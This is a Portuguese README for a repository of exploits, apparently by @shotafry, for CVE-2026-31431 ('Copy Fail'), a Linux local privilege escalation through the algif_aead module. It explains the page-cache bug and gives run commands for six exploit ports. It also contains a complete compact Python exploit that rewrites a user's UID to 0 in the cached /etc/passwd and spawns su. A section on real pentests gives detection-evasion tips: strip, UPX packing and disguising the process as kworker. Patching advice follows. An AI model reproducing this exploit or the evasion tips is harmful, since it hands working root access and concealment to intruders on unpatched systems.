
Implementações educacionais de exploits em vários idiomas para CVE-2026-31431, uma escalada local de privilégios no kernel Linux por meio do módulo algif_aead, com um detector seguro e orientação de uso para CTF.
Repositório educacional com implementações em múltiplas linguagens do exploit Copy Fail.
Criado e mantido por @shotafry — porque ler o CVE não é suficiente. É preciso reproduzi-lo.
Copy Fail é uma vulnerabilidade de escalada de privilégios local (LPE) no kernel do Linux, catalogada como CVE-2026-31431. Afeta o subsistema criptográfico do kernel, concretamente o módulo algif_aead que gerencia operações de criptografia autenticada (AEAD) através de sockets AF_ALG.
A falha foi introduzida em 2017 numa otimização do módulo authencesn e permaneceu sem detecção por quase 9 anos, presente em praticamente todas as distribuições Linux modernas.
O que torna Copy Fail especial em relação a outros LPEs históricos:
A vulnerabilidade foi descoberta por Taeyang Lee da equipe de pesquisa da Theori. A cadeia de exploit completa foi desenvolvida pela equipe Xint Code Research, que documentou o processo usando análise assistida por IA sobre o subsistema crypto/ do kernel do Linux.
A divulgação pública inclui PoC funcional, análise técnica completa e documentação em copy.fail.
CVE: CVE-2026-31431
CVSS: 7.8 — ALTA
Vetor: Local
Impacto: Escalada de privilégios completa (root)
Distros: Todas as distribuições Linux com kernel >= 2017 sem patch
O CVSS é 7.8 e não chega a crítico (9+) apenas porque requer acesso local prévio — o atacante já deve ter uma sessão no sistema. Em ambientes cloud e com contêineres Docker, esse requisito é consideravelmente mais fácil de cumprir do que parece.
O kernel do Linux guarda em RAM os arquivos que leu recentemente. Isso é chamado de page cache. Quando um processo lê /etc/passwd, o kernel não vai ao disco — serve a cópia em RAM. Isso é mais rápido, mas cria uma superfície de ataque: se você puder modificar essa cópia em RAM sem tocar no disco, o sistema verá dados falsos.
O módulo algif_aead permite fazer operações AEAD a partir do espaço do usuário através de sockets AF_ALG. O bug está na otimização introduzida em 2017: quando se usa splice() para passar páginas de um arquivo ao socket, essas páginas da page cache acabam na lista de dispersão destino (gravável) da operação criptográfica.
Resultado: qualquer usuário sem privilégios pode escrever 4 bytes controlados em qualquer arquivo que possa ler, sem tocar no disco.
Usuário sem privilégios
│
▼
Abre socket AF_ALG (authencesn)
│
▼
sendmsg() — parâmetros AEAD com nossos 4 bytes em seqno_lo
│
▼
splice() — arquivo → pipe → socket op
[BUG] A page cache do arquivo fica no scatterlist destino
│
▼
recv() dispara a operação AEAD
A auth falha (EBADMSG) mas o scratch-write já ocorreu
│
▼
/etc/passwd (page cache) agora diz: usuário → UID 0
│
▼
su <usuário> → PAM valida senha real → setuid(0) → ROOT
Imagine que o kernel tem um livro de registros do castelo (/etc/passwd). Copy Fail é como descobrir que, se você abrir a oficina de magia do castelo numa ordem muito específica, o livro de registros acidentalmente fica sobre sua mesa de trabalho — e você pode mudar seu posto de "soldado raso" para "rei" com uma caneta. O arquivista (PAM) verifica sua senha, mas não verifica o livro original, apenas a cópia que está à sua frente. Você é rei.

>= ~2017 sem o patch de CVE-2026-31431algif_aead disponível e carregávelIsso pode realmente ser pulado e você pode testar diretamente um dos exploits, mas também é válido se não quisermos arriscar enviar ou criá-los e apenas quisermos ver se funciona, mas os exploits têm sua função para verificar se o sistema em questão é vulnerável.
# Ver versão do kernel
uname -a
# Verificar se o algoritmo está disponível
grep -i authencesn /proc/crypto
# Verificar se o módulo está carregado
lsmod | grep alg
Se grep -i authencesn /proc/crypto retornar authencesn(hmac(sha256),cbc(aes)), o sistema é vulnerável.
Este repositório contém o exploit implementado em 6 linguagens, todas funcionalmente equivalentes, com comentários educacionais em português.
copy_fail_exploit.c → C — binário estático, zero dependências
copy_fail_exploit.py → Python — mais legível, ideal para aprender
copy_fail_exploit.rs → Rust — a ironia: linguagem "segura" explora kernel
copy_fail_exploit.go → Go — binário estático, muito portátil
copy_fail_exploit.rb → Ruby — onipresente em servidores Rails
copy_fail_exploit.pl → Perl — o mais silencioso, está em todo Linux
test_cve_2026_31431.py → Detector — verifica vulnerabilidade sem explorar nada
python3 test_cve_2026_31431.py
# Compilar
gcc copy_fail_exploit.c -o copy_fail_c
# Dry-run (limpa ao sair, não deixa rastro)
./copy_fail_c
# Exploit completo
./copy_fail_c --shell
# Dry-run
python3 copy_fail_exploit.py
# Exploit completo
python3 copy_fail_exploit.py --shell
# Compilar
rustc copy_fail_exploit.rs -o copy_fail_rs
# Dry-run
./copy_fail_rs
# Exploit completo
./copy_fail_rs --shell
# Compilar
go build -o copy_fail_go copy_fail_exploit.go
# Dry-run
./copy_fail_go
# Exploit completo
./copy_fail_go --shell
# Dry-run
ruby copy_fail_exploit.rb
# Exploit completo
ruby copy_fail_exploit.rb --shell
# Dry-run
perl copy_fail_exploit.pl
# Exploit completo
perl copy_fail_exploit.pl --shell
# Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env
# Go
apt install golang-go
# Ruby (geralmente vem pré-instalado no Kali)
apt install ruby
# Perl (praticamente sempre presente)
perl --version
Uma vez lançado o exploit (antes do su), você pode verificar visualmente a mudança na page cache com:
# Terminal 1: monitoramento em tempo real
watch -n 0.5 'grep seuusuario /etc/passwd'
# Terminal 2: lançar o exploit
python3 copy_fail_exploit.py --shell
Você verá como o campo UID muda de 1000 para 0000 em tempo real. Depois do su:
id
# uid=0(root) gid=0(root) groups=0(root)
Para limpar sem reiniciar (a partir da shell root):
echo 3 > /proc/sys/vm/drop_caches
[*] CVE-2026-31431 LPE usuario=shotafry uid=1000
[*] /etc/passwd: usuário 'shotafry' — campo UID no offset 3118 = '1000'
[*] Aplicando write4: '1000' -> '0000' na page cache...
[+] Page cache agora mostra UID 0 no offset 3118
[+] /etc/passwd (page cache) agora lista shotafry como UID 0
[+] Execute: su shotafry
[+] Digite sua senha. su fará setuid(0) → shell root.
O disco nunca é modificado. Uma reinicialização ou drop_caches restaura tudo ao estado original.
Copy Fail é relevante em qualquer CTF ou laboratório de privesc em Linux onde o kernel não esteja com patch.
algif_aead pode estar desativado em ambientes hardened — se o detector falhar na etapa de AF_ALG, procure outro vetor# 1. Verificar kernel
uname -a
# 2. Detector
python3 test_cve_2026_31431.py
# 3. Se vulnerável, exploit
python3 copy_fail_exploit.py --shell
# 4. Limpar depois
echo 3 > /proc/sys/vm/drop_caches
As implementações deste repositório estão comentadas e são verbosas por design educacional. Num contexto de pentest real, você vai querer versões mais silenciosas.
O exploit em seu núcleo são 5 syscalls: socket, bind, setsockopt, sendmsg, splice. Todo o resto é cosmético. Uma versão silenciosa elimina todo o output e minimiza o código ao mínimo funcional.
# Versão compacta sem output — mesma funcionalidade, menor superfície de detecção
import os, socket, struct, pwd
def w4(p, o, b):
f = os.open(p, 0); os.read(f, 4096)
m = socket.socket(38, 5, 0)
m.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
m.setsockopt(279, 1, struct.pack("HH", 8, 1) + struct.pack(">I", 16) + b"\x00"*48)
op, _ = m.accept()
aad = b"\x00\x00\x00\x00" + b
op.sendmsg([aad], [(279,3,struct.pack("I",0)),(279,2,struct.pack("I",16)+b"\x00"*16),(279,4,struct.pack("I",8))], 32768)
pr, pw = os.pipe()
os.splice(f, pw, 32, offset_src=o); os.splice(pr, op.fileno(), 32)
try: op.recv(64)
except: pass
[os.close(x) for x in [pr,pw,op.fileno(),m.fileno(),f]]
u = pwd.getpwuid(os.getuid()).pw_name
d = open("/etc/passwd","rb").read()
i = d.index(u.encode()+b":")+len(u)+1
i = d.index(b":",i)+1
w4("/etc/passwd", i, b"0000")
os.execvp("su", ["su", u])
⚠️ Nota: antivírus e EDRs detectam padrões de ofuscação (imports compactados, nomes de função de um caractere, zlib+hex encadeado). Um binário C compilado estaticamente continua sendo a opção mais silenciosa em ambientes monitorados.
strip: gcc exploit.c -o exploit && strip exploit — remove símbolos de debugupx --best exploit — compacta o binário, muda sua assinaturakworker ou systemd-helper para passar despercebido no ps# Debian/Ubuntu/Kali
apt update && apt upgrade
# RHEL/CentOS/Fedora
dnf update
# Arch
pacman -Syu
Se você não puder aplicar o patch imediatamente, desative o módulo vulnerável:
# Desativar o módulo
rmmod algif_aead 2>/dev/null
# Evitar que seja carregado no futuro
echo "install algif_aead /bin/false" >> /etc/modprobe.d/disable-algif.conf
python3 test_cve_2026_31431.py
# [+] Page cache intact. NOT vulnerable on this kernel.
O patch deve ser aplicado no kernel do host — os contêineres compartilham o kernel e não estão isolados desta vulnerabilidade. Atualizar apenas a imagem do contêiner não protege de nada.
CVE-2026-31431-Copy-Fail/
├── README.md ← Este arquivo (PT)
├── README_ENGLISH.md ← Versão em inglês
├── copy_fail_exploit.c ← Exploit em C
├── copy_fail_exploit.py ← Exploit em Python
├── copy_fail_exploit.rs ← Exploit em Rust
├── copy_fail_exploit.go ← Exploit em Go
├── copy_fail_exploit.rb ← Exploit em Ruby
├── copy_fail_exploit.pl ← Exploit em Perl
├── test_cve_2026_31431.py ← Detector (seguro, não modifica nada)
└── assets/
├── Infografia.png ← Infografia do exploit
├── Exploit en C.png ← Captura do exploit C em ação
└── passwd.png ← Output do detector em sistema vulnerável
Enquanto todo mundo publicava este CVE com um parágrafo gerado por IA e um link para o repositório oficial, passei o dia estudando-o de verdade: lendo o código do kernel, entendendo a page cache, reproduzindo o exploit em laboratório, e depois portando-o para 6 linguagens diferentes para entender exatamente o que está acontecendo em cada camada.
A versão em Rust é minha favorita. Você usa a linguagem mais obcecada com segurança de memória para explorar uma falha no kernel escrito em C. A ironia se explica sozinha.
Este repositório existe porque acredito que a diferença entre um profissional de segurança e alguém que apenas compartilha posts está em se você realmente se sentou para reproduzir as coisas.
authencesn / algif_aeadEste repositório é exclusivamente para uso educacional, pesquisa em segurança e testes em sistemas próprios ou com autorização explícita por escrito.
O uso destas ferramentas contra sistemas sem autorização é ilegal na maioria das jurisdições. O autor não se responsabiliza pelo mau uso deste material.
Teste apenas no que é seu ou você tem permissão para auditar.
Feito com curiosidade, laboratório, e muito café, ou cerveja 0.0 precisamente.
@shotafry
@BrayLozano
| Característica | Copy Fail | LPE típico |
|---|
| Precisa de race condition | ❌ Não | ✅ Sim |
| Precisa de offset específico do kernel | ❌ Não | ✅ Sim |
| Funciona em todas as distros | ✅ Sim | ❌ Normalmente não |
| Confiabilidade | 100% determinística | Variável |
| Modifica o disco | ❌ Não (apenas RAM) | Depende |
| Linguagem | Requisito no alvo | Compilação prévia |
|---|
| C | Nenhum (binário estático) | gcc na máquina de compilação |
| Python | Python 3.10+ | Não |
| Rust | Nenhum (binário estático) | rustc na máquina de compilação |
| Go | Nenhum (binário estático) | go na máquina de compilação |
| Ruby | Ruby + gem fiddle (incluída por padrão) | Não |
| Perl | Perl 5 (incluído em praticamente todo Linux) | Não |